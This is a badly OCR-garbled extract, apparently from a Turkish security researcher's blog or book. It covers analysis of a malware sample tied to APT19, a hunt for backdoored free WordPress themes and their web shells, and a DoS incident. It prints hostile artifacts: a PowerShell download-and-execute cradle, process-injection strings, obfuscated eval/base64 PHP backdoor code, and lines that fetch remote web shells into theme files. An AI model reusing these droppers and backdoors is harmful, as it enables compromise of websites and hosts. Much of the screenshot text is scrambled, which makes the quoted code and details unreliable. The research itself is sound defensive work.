boo203E8 65 61 74 €5 20 70 69 70 65 3a
000203Fc 61 6c 72 €5 61 64 79 20 69 6
00020410 25 73 20 28 61 64 6D 69 6E 29
0020424 74 20 6F 70 65 6E 20 70 72 6F
00020438 25 75 25 00 46 61 65 6C 65 64
booz2pssc 6 62 61 74 65 20 74 6F 6B 65
ooozp460 28 25 75 29 00 00 00 00 46 61
00020474 70 6C 69 63 61 74 65 20 70 72
boo2psa88 6 20 66 6F 72 20 25 64 20 28
0002045 65 64 20 74 6F 20 65 6D 70 65
boo2psz0 67 67 65 64 20 6 6E 20 75 73
000zp4c4 00 00 00 00 43 6F 75 6C 64 20
0002048 20 74 6F 6B 65 6E 3A 20 25 64
oooz2psEe 25 31 2E £ 74
00020500 20 54 73 25 68 -Type: application/o

B cale_02650. Eval

ie]x|

reeed

Data at offset 0x0002D2A5:

12 13 0123456789ABCDEF0123
63 72 sprng...could not cr
6D 20 eate pipe: %d...I'm it 1 <
65 00 already in SMB mode. uint m E
6E 6F %s (admin)..Could no L M-
20 28 t open process: ¥d ( unde; st
72 73 %u).Failed to impexzs ez, S
64 20 onate token from 3d uinB2 - 6778473
64 75 (%u)....Failed to du s STRATs:
6B 65 plicate primary toke Eopresson
€9 6C n for td (%u)...Fail

scter| oiics) Lmerzorizets (8
75 29 gged on user %d (%u)
74 65 ....Could not create
54 50

% Stuctures | )|® & > Al @ 8@ |72 instances of ‘stings® faund in CAUsersiMierDesktopicalc_02650000.bin anlealx
*[ Member 15 Value(de) & Valueh. 2 Size [ | |*([ adaress Length 1) Length (5 -
0002CFAC 43 8 could not adjust permissions in process: %d
0002CFD8 40 ® could not create remote thread in %d: %d
00020004 » 1 could not open process %d: %d
00020026 @ *® 4dis an 64 process (can' nject 85 content) 0
00020058 @ * Sidlis oN 86 pROCess (cAn'tinject 64 content)
00020084 8 L] syswonGd
00020090 8 08 system32
0002009C -] 1< Could not set PPID to %d: %d
a002008C 2 18 Could notset PID o %d .
R’ i b | |3 Bcompwe [ ¥ chedsun 8 Find | 49 sookmarks | (2 output |
= Solve PC issues
Reade_ Curson 0002D4FC_ Caret 00020245 | 8 totsl messages
D e riiop 568

\Users\Mert\Deskiop\calc, 02650000,
[ File Edit Disk Options Tools Plug-ins Window Help

2SHBB | LHEAR (20 BB @
PIBEE (MY % d | $ B | (oo ]
. 0| 2 R s e | e S 12 13 0123456789ABCDEF0123 e hﬂthnlzDZ‘A;x
8|[fooozpirs 62 6E 65 63 74 20 6F 6E 65 00 09 25 nnect one... *..%d.% 2t offcet DAVINA0ERS:
2|[looo2p208 64 09 25 €4 2E 25 64 09 25 73 64 09 d.%d.%d.%s.%s.%s.%d. intg 1w o
2||looo2p21c 00 43 %d..cCould not bind t uint§ um H
5| [looozp230 o %d... s M
| [foco2p244 ct Net.Webclient). e, 2
ooo2p258 wnloadString ('Htt) 2 e
ooo2p26c /423 0.0_1:%u/ 0yl . uints2 - 6778413
00020280 $EIMPORTSS . . Command ket Lo 2] =
00020294 length (%d) too long —
0002p228 ceree.. IEX (New-0Obj
oo02p2BC ect Net.Webclient).D [1[[S2
0o002p2D0 ownloadString ('Http: 1
00020224 /7127.0.0.1:%u/"); %
o0o2p2r8 s...pOWershell -nop
o002p30C -exec bypass -Encode
00020320 dCommand "$s"...7%s= .
B calc_0265. @

}T Structures <) l# 8 2 a5 @ |7 a2t instances of *strings* found in CAUsersiMertDesktoplcalc_02650000.bin BHl®e(X
* [ Member 15 Value (dee) # Value(h.. & See ) | |*|[ nddress ) Length 1@ Length &) -
o002cFAC “ » could notadjust permissions n process: %d
a002cro8 « = could notcreate remote thread i 5 %d
00020008 1 could not open process %d: %id B
00020024 o * % an 164 process (can't inject 185 conten) =
00020054 o F %d is oNxB6 pROCess (cAn't inject 364 content)
00020084 s o Py
| 00020050 s ® system32
3 o002009C = 1c Could not st PID 0 6
[z 000200BC u 18 Could not et PPID to %d A
|§ —
R - |+ | |3 Ecomere [ ¥ crecium f Fd [ 4 sovkmarts | [ ouout |
Ready - Cursor: 00020278 CaretO002D2A5  Z7W32bites OV MOD READ


https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
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oy r—

&= C 0 | @ Secure | https;/github.com/rapid7/metasploit-framework/blob/c3c890a
@ Hacks Career o [}) Linkedin W MertSARICA (merts: M Inbox - mertaario® [ Login| Splunk

2324 - Fi: colcane - I 508 - Module:calcne - i G
Fle Ven Deug Tow P Fovoutes Opoams Hep Dec2s 01

D8 i taw tuloCess vLRE
Boy q:...,.[ i [ e | -,m.\-m,m\uuw\vg

text:00s6361 calc. exe:ss36s1 40

“ouw 1 | ghoup2 [ Eoum3 | ESoms \ <4 oas | i-mm \ pelvoms |
I

&

Paused [ cal.exe: 00363€AD -> DOBSIEAF (DX00000007 bytes) i

Analizin devaminda ortaya ¢ikan ilave bilgiler de Google arama
motorunda arastirildiginda FireEye‘in 2017 yilinda Cin devleti
tarafindan desteklendigi iddia edilen, hukuk ve yatirim firmalar1
hedef aldig1 belirtilen APT19 grubu ile ilgili yayinlamis oldugu

arastirma yazisina ulagilir.
856200 s ol P55 T 55

Fle Vew Ddug Trace Pugns Favourtes Optons Hep 0ec2s 2017

D@ i {9y tuleCerris abLl®
Bow | @awn | Lrios [ items | svesioonss | M8 vemeyitep || G catstac | #3594 | Lo st | @) symbos | somce | 2 Refrenes | 9 Trescs | & soowran | vt |1 10
. z ]

‘ | | S [
:: o 20 maau ey | E8X 0820800
i =) e |

EIP 04208337

ErLacs 00000244

Lasterror 00000000 (ERROR_SUCCESS)

fov ecx,aword ptr ss:febp- LastsTatus CO0000A3 (STATUS DEVICE_NOT_READY)

mov word per ds: [ec] ax

s mov eax,dword pt szifiebp-c] epp
30 15 |movax eixiword otr di reax

[ T
y [pefeut stdcan ~]'s ! ] unlocked

espra] GOCCO00C
2spr6] 7EC199F3 kernel32.76C199F2

esprc] 7946ce1n

5pr10) 04200034 |

pEr_Tebp-3
axe2680000

04208337

oump3 | $oump+

R
05 83 €04 49
us £ £ geloe £

s(cs €1 £3 35 (DA 83 72 45

5 60 05 50|00 00 60 00 nelsa. LoadLibrarya

er
| 7658431 kernel 32 virtuat protece

50 00 00 00[E0700 02 A
55 €2 05 55160 00 56 00

[INTS breakoint ot 042083341 [ Bluetooth Devices


https://www.fireeye.com/
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
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Fe Vew Dewg Trom Pugns Favoules Optons Hep 0ec26 2017
coE sl tawd taBPCesfis LLRE

Borv | @ oo [ [iog [ [Jotes | @ preaponts | ™ vemoryop | () Calstack | isen | Lof sapt | 2 synbos | © sowwe | 2 References | ' Thveacs | ) snomen | o rondes [ 17 Tl
8 00 FF £ Call 2657430 +|[m1de rpu )
Hemm 5 Bop sex
M [ « £ 8a 00 00 od Jmp setsers enc oossrsc
28 30 °J1e8 ¥ 0Geca prr ssipesprion
52 77 e el SR [l = oacaioss I
, Hl e

X 0000007
Esp  oosirsrs
£ oosirscc

|
£ 6o o3may sa¥.dwera prr os: (268E708) B Qoo un
& oim ane Ere
%o |30 Svotd prr ssclesprcy, et
pfe s ae ozsesn
G|
e [Sov Se%a per usifeat e gruses oo000sis
Ja 2t Goseoooro
o A
Fey
98¢ Shhoers Lascerror 00000000 (EAROR_SUCCESS)
A LA 2000008 (AR horresom)

sh s
88 00 og GANN 2665269

02657420

02659680

T
31 ] unlocked
fesp] 00001000
eSprs] 00sirsss
esp+8] 00000004
esprc] 02666F51
—_—
Gooor 7
0043

Sieson
55500
202038} recurn to canc.ooseacas from calc. oossz03c
oairor

4 Dunp 1

[ozestz0e |

coo{
7651991 kernel32.765199F2
0041754
0265 8¢ return to 02658C49 from 02653613
0042F9

02666E) return to 02666EC7 from 02658C21
ceer

gzt ii

patible; WSIE
03 Windows NT 6
©F Trident/s.0).

Illlesbuitlph

o0c
o2666r
000000 4
0042F3
768618 kerne132. virtualAlloc -

I CCleaner monitorina s active. : 0:00:58:41.

Fle View Debug Trace Plugns Favourites Optons Hep  Dec 262017

SE S0 tawy taBoEssis ALAE

Blcu [ @eun [ Litog | itotss | © oreoponts | #8 memoryMop | () CalStock | Sisen | Lo sapt | Ssymbos | <2 sowce | - Referonces | S Teads | <) Snowman | i Hondes | ¢ ik
. ~|(wide reu ]

e oosrsco

| €ex  ozsesesa
ECX 00001000

EOX 00000078
8P  oO¢irsFs

HER R - 5 oosreo
¢ 04 1€ 00 |mov byte prr ds:[esisebx],0 ESL 00a1rse0
s &7 oV eix,can 7 ooursss
Ed bop <31
: pop =i e ozessers
push eop
= e e en ErLAGs _ 00000246
s’ ens &
00 40 00 od buth 3500 Go o bro
73 00 05 of eaM 26es268 Eo ®o w1
08 nov eby, eax
%08 |mov caxdword pur ssifenpre] Lasterror 00000000 (ERROR_SUCCESS)
x Lastoratus CODD0ORS (STATUS.DEVICE NOT_READY)
Fe £ eR BRI 265748
< <ax, eox
i
dvord per
0265747
oot | eoump2 [ Woume3 [ Ghoume

ress
026815FE | 00
02681606 |00
ozesieic |00
ozéste2e |00
oz68a63E |00
ozesiesc |69
ozéstese |72
02681668 | 00

2 s
: ‘ 030010

RO ZEC105) kernet2. 7ecioor2
rund1132. exe '02636C) return to 0265549 from 02659619

5
E
o
:
2
E
;
L 00-
e % greireag Ml t " o
it BHERn iindiids 5] ozt rexurn co ozsesecr from ozesacar
geer wac GERERER iy t
cEme |u S E|% 3850 o |cactvelrunal
Gemes % & o 5|5 59 50 08 |l o 2surs
gae (%0 e 1% %2 of soen
aeet |90 €28 72 e
e %o 0|2 oo o| pcces
e %00 HEE o czesen e
Gaesitor |0 o o[%0 00 5| gouosa ]
geE % 2/e o g i
gaeearie |0 o olco o0 | cernersz e anie I
GeatrsE 50 o ol50 60 3 cesieg soincer' 0.5 x
& ] E
Cormand:
Paused |Dump: 0268167D -> 0268167D (0x00000001 bytes) | safely Remove Hardware and Eject Media |

Bu girisimin ardinda APT 19 grubu mu vardir ve hedef mi
buiytitmuislerdir bilinmez ancak tehdit raporlarinda 3. parti
firmalar tizerinden hacklenen firmalarla ilgili yazilar okuyan bir
siber giivenlik arastirmacist olarak bu tir hedeflenmis, organize,
ileri seviye siber saldirilarin tilkemizde de gergeklestirildigine bu
analiz yazis1 ile dikkat cekmek ve 6zellikle finans sektérindeki
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firmalarin bu tir siber saldirilara karsi ¢ok dikkatli olmalarini
Oneririm.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler
dilerim.

Not:
Bu yazi1 ayrica Pi Hediyem Var #15 oyununun ¢6ziim yolunu da

icermektedir.


https://www.mertsarica.com/pi-hediyem-var-15/

3. Arka Kapi Avi

Eskiden bir blog yazis1 veya bir sunum i¢in konu bulabilmek adina
uzun mesailer harcardim. Yillar i¢inde daha fazla kisiye ulagsmaya
basladik¢a okurlarimdan, baglantilarimdan, takipgilerimden gelen
mesajlar, Cryptokiller aracinin ortaya ¢itkmasinda oldugu gibi blog
yazilarima, sunumlarima ilham kaynagi olmaya bagladi. Bu hikaye
2018 yilinin Mayis aymnda LinkedIn baglantilarim arasinda yer
alan Ozkan AKTEKIN isimli bir kisinin gonderdigi mesaj ile
basladi.

Ozkan AKTEKIN mesajinda sahip oldugu bir kag web sitesinin
stirekli hacklendiginden dem vuruyordu. Stipheleri dogrultusunda
hareket ederek arastirmalarini belli bir noktaya kadar getiren
Ozkan ile kisa bir goriisme yaptiktan sonra durumun WordPress
temasit kaynakli oldugunu 6grendim. Yapilacaklar listesi (TODO)
oldukca kabarik olan biri olarak bu konuya egilmem biraz zaman
almig olsa da farkindalik adina bu konuyu hem yaziya dékmeye
hem de Istanbul Bilgi Givenligi Konferansi‘'nda sunmaya karar

verdim.
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https://www.mertsarica.com/medya/sunumlar-2019/2015-2/istsec-2015/
https://www.linkedin.com/in/%C3%B6zkan-aktekin-67838355/
https://wordpress.org/
https://www.istsec.org/
https://www.mertsarica.com/istsec19-bilgi-guvenligi-konferansi/
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Gzkan Aktekin

Ozkan Aktekin

abicim g Mert SARICA
Tam olarak hikayeyi anlatic misin 7 Nasil oldu bu sitslere nasi

ulagtin vs belki yaziya eviririm farkindalik adina
selam

Olayin boyutu biyiikse
birsey sorcaktum

Gzkan Aktekin - ]
bir kag tane sitem var siteme stirekli asagidaki birtane wordpress site temasi kurdum
kodu atiyorlar sunucu kaynakli bir givenlik

haber sitesi arkadagima
zaafiyeti var saninm

2 gun sonra siteye
fakat bu kodu ben decode edip bakmak
istiyorum ama pek beceremedim

escort sitesi linkleri eklendigini gordam
daha sonra eklenen site linklerinin
nasil bir yol izlemeliyim baska hangi sitelerden link aldigina baktim

hepsi

a2 ®» AAAP

<?php X
haber siteleriydi

echo e Mert SARICA - &

eval(gzinflate(base64_decode(str_rot1 30 X2VFOyAKInAydCB2LHR Temay! wpcomtr adresinden alip kurdun degjil mi ?
SJ19FCmUSIDMIT11UOzpsbHAIPmIZa25IbDSAIGIUM1 0dG5ub

CBIHITURGIGVPW1sKXJUyANeCB2IDSpYSImcCENICg+ Xyl 1OyB Bskiar Rt

fezsgZWhkaT 12)GkgIHhfaSAgICASCRFenFolCASaCB3cySDPCBY G Gt
JCIGb2xplyBOPIANIGU/c0lIbnByIHtUO18uIDS0YydvbWapLyAgh

WxYmNOIGUgc29KkYXkOPSB1ImFOcHWSSBOG) StelNUbSgg DBFT bu sekilde bir gok site var
bWsgclQgYmVzZWxIO3gnaSigbmsilCliXz8gcGIfO191c2UgZWige wp.com.tr
J90YNIOIHISW1ZIeSAGAWhIX3RYZTFX2ZIRHNYIGRBAGhASDONQ yi gozdim zaten &

1Qg3MgbGggaTxixHRSPWRQICBpOIAGICAGADIOPGEGRSkgbH
QgKG 1ycGXFCIRKICBNPIyZyABaWSEQIGOKZSBUZCBNKSIIPWSUD
XNPccQKIj4+0yBFYTtmYnMgRnIgMGh1eXMgPCASaWEFPHION

Ozkan’in bahsettifi wp.com.tr sitesini ziyaret edip kisaca
indirilebilen temalara baktigimda, dizin altindaki klasér ve
dosyalarin listelenebildigini farkettim ve ardindan 802 MB
buytkliigindeki yaklasik 653 adet temay: indirmeye bagladim.

S Ve W X -
X 0@ mumpemuic % oD gma

[y e T s ookt

x

Jo. Wordpress Premium Seach. 7
€0 T emes

T T ————

CATEGORY: MAGAZINE




Arka Kapt Avi 29

T s
€ > € 0[@mmmpentamed wsome ma

T - Je e ey v ——
Index of /download/

[ gy Eog———

p——

Saving Tor R€youporn. Z1pEE
youporn. 21p
2018-05-21 20:02:00 (1.7 wB/s) - 3€"youporn. zipae™ saved [1083982/1085952]

Low L7ome/s

0.65

PEcps/ . wp. con. < oo youporr. 23
neiiing sxfst g comecs on CREAES o "
TP st Sant: amasting raspanac 200 o

Lo 13575 <. 55 [ing:auw/zw]

Lo Lome/s

youporn2. z1p

2018-05-21 20:02:01 (1.97 we/s) - 4€"youpornz. 2ipa€™ saved [1307460/1307450]
S2018-05-21 20:02001--_eeps /.. con, € Gonnlondzeroerror-1ce.1.4.21p

kot el freefeicn 5 USRS

Lengeh 1555738 L o [app“(a(hm/z(g]

1w 2.0me/s  in 0.9

zercarror-lite.1.4.zip
2015-05-21 20:02:02 (2,07 WB/s) - 3¢ zeroerror-Tite.1.4. 2ipae€™ saved [1959756/1959756]

ans o2 - heep:/ . con o doload x
F¥7% roavest sear Csponie: . 700
Lengeh “wpemeu it

EE AR

R (= 1 Skessn 005

2015-05-21 20:02:02 (1.5 WB/5) - 3€"index. hemI7NAGE™ saved [102587]

--2016-05-21 20:02:02-_https/ /e wp. con.tr/domnload /0
775 Tauast sent. awatting rasponser.. 200 oK

Congeh ncpeciticd SRy

5207 to:Be Inden. hral ode

incex. om0 e 3

2018-05-21 20:02:02 (1.6 wo/s) - 3€index. hemwoaE~ saved (1025871
20180521 20:02:02-— _necp: /. wp. com < /donnload /75D

eising. sy comereon £ g cont o6

7o g 7 responial L 300 0

o ettt o Bt

550T0g o7 Be* dex. hend26de~

ndex. meazso =

2018-05-21 20:02:02 (1. 61 W/3) - €”index. heml7sose saved [102587]

xe/s 1n 0.0

R e L
e o
R

index. hutzo0 [
2018-05-21 20:02:03 (1,41 we/s) - 3€”Index. heml700d€™ saved [102587]
Total vl clock tise .

Soroted: 45 eHas 80 50 e s oo wee)
Pootadbuncus-/cenalar B o
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REA2

blueoray
bluepr i ar.& s
Bluctand: 12,71 "

trai il o.sap
ey
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e s iR ST S s
B ioe pirboard 1'1.12.71p snk« orel Tire L8 540 serderrer” x Rice.1.4.71p
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Temalar: hizlica paketinden cikardiktan sonra arka kapi tespitine
yonelik eval gibi belli bagli anahtar kelimeleri bu dosyalar
iizerinde  aradigimda, ¢ok gecmeden tim  temalarin
functions.php dosyasinda yer alip base64 ile gizlenmis bir
karakter dizisi dikkatimi (;ekti.

“‘“” fun Y’ h l‘(f\ A% fecodeC'ay a b3 i i
S ﬁnE m.m,r(u:m—wm rm—s\'nre‘ nmm m —rrvﬂmnre, Rax-age-0
/inc/lessc.php: * evaluation kuvl&xl. sum as 4“ d\-\ﬂ‘he ixins and var ables at any of den
R
2heTo/abduto/FT/inc/ Tebse.pho: * evaluation context. such a6 411 1\1\\1“& akirs. and var ab1es s¢any d1sen

Footaubunu~/cenalrs
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n Gnetiant. bt ava (2F Ta-gat.
Foraiv3/arora/Tuncelons: o Bl o= Concen

<ai e
2 (6aebs decods (“amkOCDO S
. o iR vl‘fq;(‘mnuntsibases‘ decei oo o

,méu BB eva T

_secode( »

o
e e
ol mmmgm-vns;mm?&n’ S
PR e om0
Setsou )

?l:sssn SR mGchos om0 s00i )
oS har el ol mochon s ioaeioeias 2)):

Fmctions pnpssial (6F
BIRREy o Fancedons. vt R4 T iochov S
biogrcey e b i Shoeval(e T gec_comarss hastor tacocal T M ALbts9sess0em-));
pizcyite et Bl cerf1e.gat coments bazet-decotes uu(mlz&msmamsmn 5%
Oritencs (ba5 961 _decodel |aROCDOVL 3wt yBS30C19361500H 123
S ,m;w e comenta (D35chi_decnte . AMRDCDOU et MVBS0CIOIEISORIY- "))
anctons e e o el ecoial oo Yo b sictosedsoana )01

Jtinctions ;hp 221 (57 1S5t cont enes (basacs ecods (" aMROCDAML It mvbasOcIo3e1s0ema-")))

blognaster / unctions phe’elaCer e et unzem(bzsea uewde( ‘aRROCDOVL 30w mNvbSS0c 93¢ S0era-"))):

A /Funcions ek Contents (basasi dacoa: Bovi IR DS50CT 361 50023 )1
R ]
7o e R aRROCHO T S
]’m T Twe T
L |

Bu karakter dizisini Google arama motorunda arattifimda ise
temalar1 hem giivenlik hem de kod kalitesi amaciyla denetleyen
oldukc¢a faydali bir site (http://themecheck.info/) ile karsilagtim.
Bu karakter dizisine konu olan ve indirdigim temalar arasinda
da yer alan bir temada ciddi anlamda stipheli olan kod parcalar1
oldugu bu sitenin denetimi sonucunda hemen goéze carpiyordu.


http://themecheck.info/
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=

Themechecks

Themechecke

1 - Theme Checke

Google Fan

O santroms o x

€ - C 0[O remutekon
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CE w - 0 x

%
Critical alerts

3. Security breaches :

5. Securlty breaches :

Google’in arama sonuclarina bakmaya devam ettigimde bu defa
r10.net sitesi tizerinde 2016 yilinda yazilmig bir mesaj dikkatimi
cekti. Mesaj1 yazan kisi sagolsun zararli kod bloguna yer vermekle
kalmayip, arka kapi yikli sitelerin bir listesinin tutuldugu
dosyasinin adresini de paylasmuisti.



http://www.r10.net/
https://www.r10.net/1071598601-post1.html
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- o x
* comeman @o

functions.php dosyasinda yer alan kod bloguna baktigimda, ana
sayfaya http://www/[.]fabthemes.com/
fabthemes.php?getlink= adresinden istenmeyen baglant
adreslerinin ¢ekilmesini, eklenmesini saglayan footer.php
dosyasindan ¢agrilan fflink() fonksiyonunu ve uzaktan komut

calistirmaya imkan taniyan eval() fonksiyonlarimi gérdim.

oo
R s o i oo
e ot o e s i s a1 o

27 cicte-"<aphp bloginfoCname );
101G Sehenentt 5177 Sty e
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Ana sayfaya istenmeyen
baglanti adreslerini eklene
fonksiyon (fflink)

Uzaktan komut calistinimasini
saglayan komut
(http://wp.com.triwz.txt)

http://www/[.]fabthemes.com adresini ziyaret ettiimde ise
http://wp[.]com.tr gibi bir tema sitesi ile kargilastim. Bu sitedeki

tim temalar1 da indirdikten sonra yine aym sekilde eval()
fonksiyonunu  aradigimda  http://wp[.]Jcom.tr  sitesindeki
temalarda oldugu gibi functions.php ve footer.php dosyalarinda

zararli kod bloklar1 oldugunu goérdim. Burada yer alan
temalardaki functions.php dosyasindaki base64 ile gizlenmis
karakter dizisi http://wp[.]com.tr sitesindekilerden farkli oldugu
(ZXZhbChAZmlsZVInZXRfY29udGVudHMoImhOdHA6Ly95Y Wthb
dikkatimi cekti.
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Mk olarak base64 ile gizlenmis
aHROcDovL3dwLmNvbS50ci93ei50eHQ= karakter dizisini
cozdigiimde http://wp[.]Jcom.tr/wz.txt adresi ile kargilastim. Bu
sayfaya gittigimde ise karsima kendisini wp-includes/fonts/
font.php dosyasina yazan ve ardindan da http://wp[.]com.tr/
alankontrol/l.php adresine site adim1 gondererek siteyi kayit
altina aldigini tahmin ettigim bir PHP kodu ¢ikt1.
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Base64 ile gizlenmis karakter dizisini ¢6zdigiimde ise bu defa u
parametresinde www var ise parola soran bir form ile karsilagtim.
Forma girilen parola ile kaynak kodunda yer alan parolanin md5
ozet deferi (050c5218¢c20c624956eab832283a59b7) eslestigi
taktirde bu form tizerinden dosya sistemine dosya yiiklemek
miimkiin olabiliyordu. (web shell) MD5 6zet degerini CrackStation
sitesinde arattigimda ise herhangi bir kayda rastlamadim. Bu
durum, art niyetli kiginin kolay tahmin edilemeyen bir parola

9

kullandigina isaret ediyordu.



https://crackstation.net/
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Defuse.ca - i Twitter

Free Password Hash Cracker

Base64 ile gizlenmis bir diger
ZXZhbChAZmlsZVInZXRfY29udGVudHMoImhOdHA6Ly95Y Wthh(
karakter dizisini ¢6zdiigiimde ise http://yakaladimsizi[.]com/
yabanci/x.txt adresi ile karsilastim. Bu sayfaya gittigimde ise
karsima, yapilan istekte wp parametresinde yer alan adresteki

veriyi cekip, kendisini wp-includes/js/js.php dosyasina yazan

ve ardindan da font.php dosyasinda oldugu gibi
http://wp[.]com.tr/alankontrol/L.php adresine site adini
goénderen PHP kodu ¢ikt1.

)

ection was abore

5. conabthemes.phpgex k" ur lencode (s€TFURL 0). 505
v s e ¢ g

Eoses  Beucn. Bauh Besie Boo ey e
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Site iizerinde kesfe ¢iktigimda PHP web shell oldugunu gérdigiim
2 tane kaynak koduna rastladim.

@
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4 haneli yénetici parolasi. ;)

050c5218¢20c624956eab832283a59b7 md5 6zet degerini bulmak
icin kariyerdunyasi.org adinda bir alan adi aldiktan sonra
DigitalOcean tizerinde bir WordPress site olusturmaya ve arkakapi
iceren bir temay1 yiiklemeye karar verdim. Tabii sitemin
hacklenmesini engellemek icin arka kapi iceren dosyalar1 sadece
yapilan istekleri kayit altina alacak sekilde degistirdim ve devreye
aldim.


https://www.digitalocean.com/
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displaying Author profile pages.

ery var "fiTcer_type”

StrvE D), true) " [Possible macking actespe] Client: ™ . prine_r(S_ScRVER [*Revore Aok
TTErue) % Sifre:’ L pRIner(SLPOSTI ISR Tre ) ruS)  T\rARE, 3, ) var e Tem/honeyee

5218c20c624956eab81228325967")

B Boan. Bash BOh. BV BOmST

Aradan kisa bir siire gectikten sonra art niyetli kisi
050c5218¢20c624956eab832283a59b7 md5 Ozet degeri ile
eslesen 6zel karakterlerden, biiyiik kiiciik harflerden ve sayilardan
olusan 13 haneli karmasik parolasini font.php dosyasina girdi!
Sayfadan bekledigi yamit1 alamadiktan sonra bu defa js.php
dosyasina wp parametresi ile uzaktan dosya sistemine php web
shell yiiklemeye imkan taniyan raw.githubusercontent.com/
eynisey/test/master/test.txt adresini iletti ve art niyetli kisinin
hedef sisteme erismesine imkan tamiyan iki yontem de ortaya
citkmuis oldu. ?
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© e

2018 yilinin Aralik ayinda ise http:/wp[.]Jcom.tr/wz.txt
dosyasinda yer alan base64 ile gizlenmis karakter dizisinin
degistigini farkettim. Gizlenmis karakter dizisini ¢ozdigiimde
font.php dosyasina daha onceki koda ilaveten
$z=fopen(‘error_log.php’;w’);fwrite($z file_get_contents(‘http://downloa
shell-indir/error_log.txt’));fclose($z); print(); satirmin
eklendigini gordiim. Bu kod ile font.php dosyasinin yanina bir
de error_log.php adi altinda bagka bir php web shell dosyasi

olusturuluyordu. Bu php web shell dosyasinin parolasinin
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digerlerinden farkli olmasi, http://wp[.]com.tr sitesinin baska bir
grup tarafindan hacklenmis olabilecegi ve mevcut font.php
dosyasina bagka bir kodun eklenmis olma ihtimalini arttirtyordu.

D v

-8 x
* somemOD @0

- o x
« SR # somemAN @0
© s M b e ook
=] Alternatively, type or paste in the text you want to base64-decode, then press the ‘Decode’

button.

CaoRIDxc

zi17cg1z2x

Use simplified (faster) decoder
Decode

Decode Result
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C @ htipsy/glotio/sni

Meta~

B glotjo @ New

FOPO PHP Deobfuscator ver. 0.22

@  deobfuscatorphp  obfuscated php +

ads via Carbon

= "#BOFF66"; $default_action =

<2php $auth_pass = "839d0730f318a170513574b1a75681a4"; $color =
<p>The requested URL was not found on this server.</ps

<hr>
<address>pache Server at *.§_SERVER['HTTP_HOST'].' Port 80</sddress>
F;border:1px solid #Ff;
ass></forms</center>’; exit; )

J<fstyler

<style>input { margin:@;background-colo

<center><form method=post><input type-password nar

le>
body {background-color:#222;color:#fff;}
body,td,th  { font: 9pt Lucida,Verdana;margin:8;vertical-align:top; }

span,hl,a  { color:’.$coler.’ limportant; } =

header ("
axit.

Boasaion start(}/
earror_reporting.

fanction stripslashes array(Sarray)

return is_arzay(sarray) 7 aveay map( . Sarzay) : stripslashes (Sarray

5 2057 = seripslashes array(s_osT)

scho . 1

a1 axttr
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Aragtirmami tamamlamadan once http://www[.]wp[.]com.tr/
wp-includes/ klasorinii gezmeye devam ettigimde ise daha 6nce
tespit ettigim ve parolasi icinde yazan a.php dosyasi ile de
karsilasmis oldum.

o x
% somoman @

@
B
2]
B
a
2
=]
2
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omeman @

Sadede gelecek olursam, internetten ticretsiz olarak indirdiginiz
WordPress temalarini kurmadan once muhakkak
http://themecheck.info/ isimli sitede temanizi kontrol etmenizi
tavsiye ederim aksi halde pusuya yatmis olan art niyetli kisilerin
kurbani olmaniz géreceginiz tizere hi¢ de zor degil.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler

dilerim.


http://themecheck.info/




4. DoS ile Miicadele

2009 yilindan bu yana “Bilgi giictir ve paylagildik¢a artar!”
sloganiyla siber giivenlik alanina meraklilar icin o6zveriyle
yasatmaya ¢alistigim blogumun bundan yillar yillar 6nce bir DDoS
saldiris1 ile karsi karsiya kaldigini ve daha sonrasinda blogumu
Cloudflare arkasina tasidigimi animstyorum. Son birkacg yildir ise
DDoS ve DoS benzeri bir saldir1 ile karsilasmamis olmanin verdigi
rehavet ile ne isletim sistemi tizerinde OSSEC gibi bir HIDSi, ne
Cloudflare, ne WordPress ne de Nginx tizerinde bu tiir saldirilara
karst (Wordfence rate limiting, modsecurity vs.) bir koruma
ozelligini devreye almamistim.

15 Temmuz 2018 tarihinde blogumu ziyaret etmeye
calisigimda web sunucusunun ge¢ yamt verdigini farkettim.
“Acaba bu defa neyi bozdum ?” diye kendi kendime
homurdandiktan hemen sonra ssh ile sunucuma baglandigimda
herhangi bir yavaglhk farketmedim. Web sunucusundaki
yavashigin uygulama katmani ve/veya veritabani ile ilgili
oldugunu diisiinerek top komutunu bile calistirmadan direk web
sunucusunun erisim kayitlarina (access.log) goz attigimda, 14
Temmuz saat 14:03 itibariyle bloguma rastgele parametreler
iceren cok sayida istekte bulunuldugunu farkettim. (HTTP DoS)

53


https://en.wikipedia.org/wiki/Denial-of-service_attack#Distributed_DoS_attack
https://www.ossec.net/
https://en.wikipedia.org/wiki/Host-based_intrusion_detection_system
https://www.cloudflare.com/
https://wordpress.org/about/
https://www.nginx.com/
https://www.wordfence.com/help/firewall/rate-limiting/
https://www.nginx.com/blog/compiling-and-installing-modsecurity-for-open-source-nginx/
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HTTP DoS saldirisini gergeklestiren kaynak ip adreslerine bakip,

Cloudflare’in ip adreslerini goérdiigiimde,

rehavetin bedelinden

cikardigim ilk ders (lessons learned) Cloudflare’e yapilan istekleri

web sunucuma gondermek (CF-Connecting-IP basligi) oldu. ?

Bir yandan saldirinin tam olarak hangi tilkeden kaynaklandigini

ogrenmek icin Cloudflare’in Analytics

sayfasindaki tehdit

haritasina baktigimda DoS saldirisinin Rusya‘dan yapildigini

6grendim. (Bu ciimleyi yazdiktan sonra nedense aklima Red Alert

2’deki Tanya geldi. :))

mer
il pvu(e);es sueo:
pic. i/ nain. pic
everes ¢
worker_connections 76s;
P St on:

)

e
* 1 dnctuge /ece/ngin/cloustiare;

Faasic sertings

narine on:
opitt o
kiﬁp!x"wuwm
e Sze soss:
oy size 4o
Seruer_rases_hash_buckes _s1ze 65
bt e

{ncluge fecc/nglnx/mine. types;
GRFRE_type SppTication bekek-strean:

4 st settings

551 provocels TLSVL TLSVLL TUsvi.2; # ropping S5LV3,
TR e ver Ciphers ont ep s

ref: poonie

4 Losging sectings

access Tog /var (Tog/nginx/access. Tog;
ST ot erver - Togs

o
caip seccings

gzip o

3B dWabre mmsies;

£ sabuta s S
1 S e
7 Gty Terupain text/css application/fson appl fcatfon/Javascript text/xal applfcation/xnl application/amlsrss text/Savascr {pts

$Vireual vost configs

Inctute jexe/matrcont. a7 cont;
TREliR /e iR e
B s sl whH
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yark Text
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https://support.cloudflare.com/hc/en-us/articles/200170706-How-do-I-restore-original-visitor-IP-with-Nginx-
http://cnc.wikia.com/wiki/Tanya_(Red_Alert_2)

GNU nano 2.5.3

